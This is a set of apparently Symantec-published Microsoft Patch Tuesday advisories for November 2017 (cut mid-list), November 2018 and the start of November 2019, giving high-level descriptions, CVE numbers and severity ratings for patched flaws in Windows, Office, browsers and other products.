Scripting Engine Memory Corruption Vulnerability (CVE-2017-11873) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Memory Corruption Vulnerability (CVE-2017-11845) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2017-11855) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2017-11856) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Browser Memory Corruption Vulnerability (CVE-2017-11827) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Microsoft Edge information disclosure Vulnerability (CVE-2017-11803) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Edge information disclosure Vulnerability (CVE-2017-11833) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Edge handles cross-origin requests. An attacker who successfully exploited this vulnerability could determine the origin of all webpages in the affected browser.
Microsoft Edge information disclosure Vulnerability (CVE-2017-11844) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Edge security bypass Vulnerability (CVE-2017-11863) MS Rating: Important
A security bypass vulnerability exists in Microsoft Edge when the Edge Content Security Policy (CSP) fails to properly validate certain specially crafted documents. An attacker who exploited the bypass could trick a user into loading a page containing malicious content.
Microsoft Edge security bypass Vulnerability (CVE-2017-11872) MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles redirect requests. The vulnerability allows Microsoft Edge to bypass Cross-Origin Resource Sharing (CORS) redirect restrictions, and to follow redirect requests that should otherwise be ignored.
Microsoft Edge security bypass Vulnerability (CVE-2017-11874) MS Rating: Important
A security bypass vulnerability exists in Microsoft Edge as a result of how memory is accessed in code compiled by the Edge Just-In-Time (JIT) compiler that allows Control Flow Guard (CFG) to be bypassed. By itself, this CFG bypass vulnerability does not allow arbitrary code execution.
Scripting Engine information disclosure Vulnerability (CVE-2017-11791) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft browsers. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Scripting Engine information disclosure Vulnerability (CVE-2017-11834) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Internet Explorer. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Internet Explorer information disclosure Vulnerability (CVE-2017-11848) MS Rating: Moderate
An information disclosure vulnerability exists when Internet Explorer improperly handles page content, which could allow an attacker to detect the navigation of the user leaving a maliciously crafted page. To exploit the vulnerability, in a web-based attack scenario, an attacker could host a specially crafted website.
Cumulative Security Update for Microsoft Office
Microsoft Word Memory Corruption Vulnerability (CVE-2017-11854) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel security bypass Vulnerability (CVE-2017-11877) MS Rating: Important
A security bypass vulnerability exists in Microsoft Office software by not enforcing macro settings on an Excel document. The security bypass by itself does not allow arbitrary code execution.
Microsoft Excel Memory Corruption Vulnerability (CVE-2017-11878) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2017-11882) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Memory Corruption Vulnerability (CVE-2017-11884) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Project Server Elevation of Privilege Vulnerability (CVE-2017-11876) MS Rating: Moderate
An elevation of privilege vulnerability exists in Microsoft Project when Microsoft Project Server does not properly manage user sessions. For this Cross-site Request Forgery(CSRF/XSRF) vulnerability to be exploited, the victim must be authenticated to (logged on) the target site.
Cumulative Security Update for Microsoft ASP.NET
ASP.NET CORE Denial Of Service Vulnerability (CVE-2017-11770) MS Rating: Important
A denial of service vulnerability exists when . NET Core improperly handles web requests.
ASP.NET Core Elevation Of Privilege Vulnerability (CVE-2017-11879) MS Rating: Important
An open redirect vulnerability exists in ASP. NET Core that could lead to Elevation of privilege.
ASP.NET Core information disclosure Vulnerability (CVE-2017-11883) MS Rating: Important
A denial of service vulnerability exists when ASP.NET Core improperly handles web requests.
ASP.NET Core information disclosure Vulnerability (CVE-2017-8700) MS Rating: Moderate
An information disclosure vulnerability exists in ASP. net Core that allows bypassing Cross-origin Resource Sharing (CORS) configurations.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel information disclosure Vulnerability (CVE-2017-11842) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2017-11847) MS Rating: Important
An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel information disclosure Vulnerability (CVE-2017-11849) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel information disclosure Vulnerability (CVE-2017-11851) MS Rating: Important
A Win32k information disclosure vulnerability exists when the Windows GDI component improperly discloses kernel memory addresses. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Kernel information disclosure Vulnerability (CVE-2017-11853) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel information disclosure Vulnerability (CVE-2017-11831) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel information disclosure Vulnerability (CVE-2017-11880) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory.
Cumulative Security Update for Microsoft Windows Graphics Component
Microsoft Graphics Component information disclosure Vulnerability (CVE-2017-11850) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI information disclosure Vulnerability (CVE-2017-11852) MS Rating: Important
A Win32k information disclosure vulnerability exists when the Windows GDI component improperly discloses kernel memory addresses. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Windows Media Player
Windows Media Player information disclosure Vulnerability (CVE-2017-11768) MS Rating: Important
An information vulnerability exists when Windows Media Player improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to test for the presence of files on disk.
Cumulative Security Update for Microsoft Windows
Windows EOT Font Engine information disclosure Vulnerability (CVE-2017-11832) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows EOT Font Engine information disclosure Vulnerability (CVE-2017-11835) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows Search Denial of Service Vulnerability (CVE-2017-11788) MS Rating: Important
A denial of service vulnerability exists when Windows Search improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a remote denial of service against a system.
Device Guard security bypass Vulnerability (CVE-2017-11830) MS Rating: Important
A security bypass exists when Device Guard incorrectly validates an untrusted file. An attacker who successfully exploited this vulnerability could make an unsigned file appear to be signed.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – November 2018
This month the vendor has patched 62 vulnerabilities, 13 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the November 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft .NET Core
Microsoft Windows
Microsoft Skype
Azure App Service
Team Foundation Server
Dynamics 365 (on-premises)
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8541) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8542) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8543) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8551) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8555) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8556) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8557) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8588) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8570) MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2018-8567) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Edge does not properly enforce cross-domain policies. An attacker can exploit this issue to access information from one domain and inject it into another domain.
Microsoft Edge Spoofing Vulnerability (CVE-2018-8564) MS Rating: Important
A spoofing vulnerability exists when Microsoft Edge improperly handles specific HTML content. An attacker can exploit this issue to trick a user into believing that the user was on a legitimate website. The specially crafted website could either spoof content or serve as a pivot to chain an attack with other vulnerabilities in web services.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8545) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Edge handles cross-origin requests. An attacker can exploit this issue to determine the origin of all webpages in the affected browser.
Windows Scripting Engine Memory Corruption Vulnerability (CVE-2018-8552) MS Rating: Important
An information disclosure vulnerability exists when VBScript improperly discloses the contents of its memory. An attacker can exploit this issue to further compromise the user’s computer or data. To exploit the vulnerability, an attacker must know the memory address of where the object was created.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-8544) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. An attacker can exploit this issue to execute arbitrary code in the context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user.
Cumulative Security Update for Microsoft Office
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-8522) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Outlook software when it fails to properly handle objects in memory. An attacker can exploit this issue to use a specially crafted file to perform actions in the security context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user. To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Outlook software.
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-8576) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Outlook software when it fails to properly handle objects in memory. An attacker can exploit this issue to use a specially crafted file to perform actions in the security context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user. To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Outlook software.
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-8524) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Outlook software when it fails to properly handle objects in memory. An attacker can exploit this issue to use a specially crafted file to perform actions in the security context of the current user. Successful exploitation of this vulnerability would allow an attacker to gain the same user rights as the current user. To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Outlook software.
Microsoft Outlook Remote Code Execution Vulnerability (CVE-2018-8582) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft Outlook parses specially modified rule export files. An attacker can exploit this issue to take control of an affected system.
Microsoft Outlook Information Disclosure Vulnerability (CVE-2018-8558) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Outlook fails to respect 'Default link type' settings configured through the SharePoint Online Admin Center. An attacker can exploit this issue to share anonymously-accessible links to other users via email where these links are intended to be accessed only by specific users.
Microsoft Outlook Information Disclosure Vulnerability (CVE-2018-8579) MS Rating: Important
An information disclosure vulnerability exists when attaching files to Outlook messages. An attacker can exploit this issue to share attached files such that they are accessible by anonymous users where they should be restricted to specific users. To exploit this vulnerability, an attacker would have to attach a file as a link to an email.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2018-8581) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker can exploit this issue to perform script/content injection attacks and attempt to impersonate any other user of the Exchange server. To exploit the vulnerability, an attacker would need to execute a man-in-the-middle attack to forward an authentication request to a Microsoft Exchange Server, thereby allowing impersonation of another Exchange user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8568) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit the issue by sending a specially crafted request to an affected SharePoint server. Successful exploitation of this vulnerability would allow an attacker to perform cross-site scripting attacks on affected systems and run script in the security context of the current user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8572) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker can exploit the issue by sending a specially crafted request to an affected SharePoint server. Successful exploitation of this vulnerability would allow an attacker to perform cross-site scripting attacks on affected systems and run script in the security context of the current user.
Microsoft SharePoint Information Disclosure Vulnerability (CVE-2018-8578) MS Rating: Important
An information disclosure vulnerability exists when Microsoft SharePoint Server improperly discloses its folder structure when rendering specific web pages. An attacker can exploit this issue to view the folder path of scripts loaded on the page. To take advantage of the vulnerability, an attacker would require access to the specific SharePoint page affected by this vulnerability.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8574) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker can exploit the issue to run arbitrary code in the context of the current user. Successful exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Excel.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8577) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker can exploit the issue to run arbitrary code in the context of the current user. Successful exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Excel.
Microsoft Word Remote Code Execution Vulnerability (CVE-2018-8539) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when the software fails to properly handle objects in memory. An attacker can exploit the issue to run arbitrary code in the context of the current user. Successful exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Word software.
Microsoft Word Remote Code Execution Vulnerability (CVE-2018-8573) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when the software fails to properly handle objects in memory. An attacker can exploit the issue to run arbitrary code in the context of the current user. Successful exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Word software.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8408) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. An authenticated attacker can exploit the issue to run a specially crafted application. Successful exploitation of the vulnerability could allow an attacker to obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2018-8562) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
Win32k Information Disclosure Vulnerability (CVE-2018-8565) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker can exploit this issue to obtain information to further compromise the user's system. To exploit this vulnerability, an attacker would have to log on to an affected system and run a specially crafted application.
Windows Win32k Privilege Escalation Vulnerability (CVE-2018-8589) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
Windows Deployment Services TFTP Server Remote Code Execution Vulnerability (CVE-2018-8476) MS Rating: Critical
A remote code execution vulnerability exists in the way that Windows Deployment Services TFTP Server handles objects in memory. An attacker can exploit this issue to execute arbitrary code with elevated permissions on a target system. To exploit the vulnerability, an attacker could create a specially crafted request, causing Windows to execute arbitrary code with elevated permissions.
Cumulative Security Update for Microsoft Windows
Microsoft Graphics Components Remote Code Execution Vulnerability (CVE-2018-8553) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker can exploit this issue to execute arbitrary code on a target system. To exploit the vulnerability, a user would have to open a specially crafted file.
DirectX Information Disclosure Vulnerability (CVE-2018-8563) MS Rating: Critical
An information disclosure vulnerability exists when DirectX improperly handles objects in memory. An authenticated attacker can exploit this issue by running a specially crafted application to obtain information to further compromise the user's system.
DirectX Privilege Escalation Vulnerability (CVE-2018-8485) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
DirectX Privilege Escalation Vulnerability (CVE-2018-8554) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
DirectX Privilege Escalation Vulnerability (CVE-2018-8561) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system.
PowerShell Remote Code Execution Vulnerability (CVE-2018-8256) MS Rating: Important
A remote code execution vulnerability exists when PowerShell improperly handles specially crafted files. An attacker can exploit this issue to execute malicious code on a vulnerable system. To exploit the vulnerability, an attacker must send a specially crafted file to a vulnerable system.
Microsoft Powershell Tampering Vulnerability (CVE-2018-8415) MS Rating: Important
A tampering vulnerability exists in PowerShell that could allow an attacker to execute unlogged code. To exploit this vulnerability, an attacker would need to log on to the affected system and run a specially crafted application.
MSRPC Information Disclosure Vulnerability (CVE-2018-8407) MS Rating: Important
An information disclosure vulnerability exists when 'Kernel Remote Procedure Call Provider' driver improperly initializes objects in memory. An attacker can exploit this issue by running a specially crafted application. Successful exploitation of this vulnerability would allow an attacker to obtain information to further compromise the user's system.
Microsoft JScript Security Feature Bypass Vulnerability (CVE-2018-8417) MS Rating: Important
A security bypass vulnerability exists in Microsoft JScript that could allow an attacker to bypass Device Guard. To exploit the vulnerability, an attacker would first have to access the local machine, and run a specially crafted application to create arbitrary COM objects.
Windows Search Remote Code Execution Vulnerability (CVE-2018-8450) MS Rating: Important
A remote code execution vulnerability exists when Windows Search handles objects in memory. An attacker can exploit this issue by sending specially crafted messages to the Windows Search service to take control of the affected system. An attacker with access to a target computer could exploit this vulnerability to elevate privileges and take control of the computer.
Windows Audio Service Information Disclosure Vulnerability (CVE-2018-8454) MS Rating: Important
An information disclosure vulnerability exists when Windows Audio Service fails to properly handle objects in memory. An attacker can exploit this issue by running a specially crafted application in user mode to potentially disclose memory contents of a elevated process.
Microsoft RemoteFX Virtual GPU miniport driver Privilege Escalation Vulnerability (CVE-2018-8471) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Microsoft RemoteFX Virtual GPU miniport driver handles objects in memory. A locally authenticated attacker can exploit this issue by running a specially crafted application to execute code with elevated permissions.
Active Directory Federation Services XSS Vulnerability (CVE-2018-8547) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when an open source customization for Microsoft Active Directory Federation Services (AD FS) does not properly sanitize a specially crafted web request to an affected AD FS server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected AD FS server. Successful exploitation of this vulnerability would allow an attacker to then perform cross-site scripting attacks on affected systems and run scripts in the security context of the current user. This would allow an attacker to read content that the attacker is not authorized to read, use the victim's identity to take actions on the AD FS site on behalf of the user, such as change permissions and delete content, and inject malicious content in the browser of the user.
Windows Security Feature Bypass Vulnerability (CVE-2018-8549) MS Rating: Important
A security bypass exists when Windows incorrectly validates kernel driver signatures. An attacker can exploit this issue to bypass security features and load improperly signed drivers into the kernel.
Windows COM Privilege Escalation Vulnerability (CVE-2018-8550) MS Rating: Important
An elevation of privilege exists in Windows COM Aggregate Marshaler. An attacker can exploit this issue by running a specially crafted application to run arbitrary code with elevated privileges.
BitLocker Security Feature Bypass Vulnerability (CVE-2018-8566) MS Rating: Important
A security bypass vulnerability exists when Windows improperly suspends BitLocker Device Encryption. An attacker with physical access to a powered off system ccan exploit this issue to gain access to encrypted data. To exploit the vulnerability, an attacker must gain physical access to the target system prior to the next system reboot.
Microsoft Project Remote Code Execution Vulnerability (CVE-2018-8575) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Project software when it fails to properly handle objects in memory. An attacker can exploit this issue using a specially crafted file to perform actions in the security context of the current user. To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Project software.
Windows ALPC Privilege Escalation Vulnerability (CVE-2018-8584) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker can exploit this issue by running a specially crafted application to execute arbitrary code in the security context of the local system and take control over an affected system. To exploit this vulnerability, an attacker would first have to log on to the system.
Windows Privilege Escalation Vulnerability (CVE-2018-8592) MS Rating: Important
A privilege escalation vulnerability exists in the setup path and you could be affected if a user installed certain builds of the OS from media for Windows 10, version 1809 and an attacker had physical (console) access to the machine.
Cumulative Security Update for Dynamics 365 (on-premises)
Microsoft Dynamics 365 (on-premises) version 8 Remote Code Execution Vulnerability (CVE-2018-8609) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker can exploit this issue to execute arbitrary code on a target system. To exploit the vulnerability, a user would have to open a specially crafted file.
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability (CVE-2018-8605) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected Dynamics server.
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability (CVE-2018-8606) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected Dynamics server.
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability (CVE-2018-8607) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected Dynamics server.
Microsoft Dynamics 365 (on-premises) version 8 Cross Site Scripting Vulnerability (CVE-2018-8608) MS Rating: Important
A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) version 8 does not properly sanitize a specially crafted web request to an affected Dynamics server. An authenticated attacker can exploit this issue by sending a specially crafted request to an affected Dynamics server.
Security Update for Azure App Service
Azure App Service Cross-site Scripting Vulnerability (CVE-2018-8600) MS Rating: Important
A cross-site scripting vulnerability exists when Azure App Services on Azure Stack does not properly sanitize user provided input. An authenticated attacker can exploit this issue by sending a specially crafted payload to the App Service, which will get executed in the context of the user every time a user visits the compromised page.
Security Update for Team Foundation Server
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2018-8602) MS Rating: Important
A cross-site Scripting vulnerability exists when Team Foundation Server does not properly sanitize user provided input. An authenticated attacker can exploit this issue by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Team Foundation Server Remote Code Execution Vulnerability (CVE-2018-8529) MS Rating: Important
A remote code execution vulnerability exists when Team Foundation Server (TFS) does not enable basic authorization on the communication between the TFS and Search services. An attacker can exploit this issue to run certain commands on the Search service.
Security Update for Microsoft .NET Core
.NET Core Tampering Vulnerability (CVE-2018-8416) MS Rating: Moderate
A tampering vulnerability exists when .NET Core improperly handles specially crafted files. An attacker can exploit this issue by sending a specially crafted file to a vulnerable system to write arbitrary files and directories to certain locations on a vulnerable system.
Security Update for Microsoft Skype for Business
Microsoft Skype for Business Denial of Service Vulnerability (CVE-2018-8546) MS Rating: Low
A denial of service vulnerability exists in Skype for Business. An attacker can exploit this issue to cause Skype for Business to stop responding. Successful exploitation of this vulnerability requires that a user sends a number of emojis in the affected version of Skype for Business.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – November 2019
This month the vendor has patched 75 vulnerabilities, 14 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the November 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Hyper-V
Graphics Device Interface
Jet Database Engine
Azure
Open Enclave SDK
Visual Studio
OpenType Font Driver
Microsoft Exchange
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1426) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1427) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1428) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge (HTML-based). The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1429) MS Rating: Critical
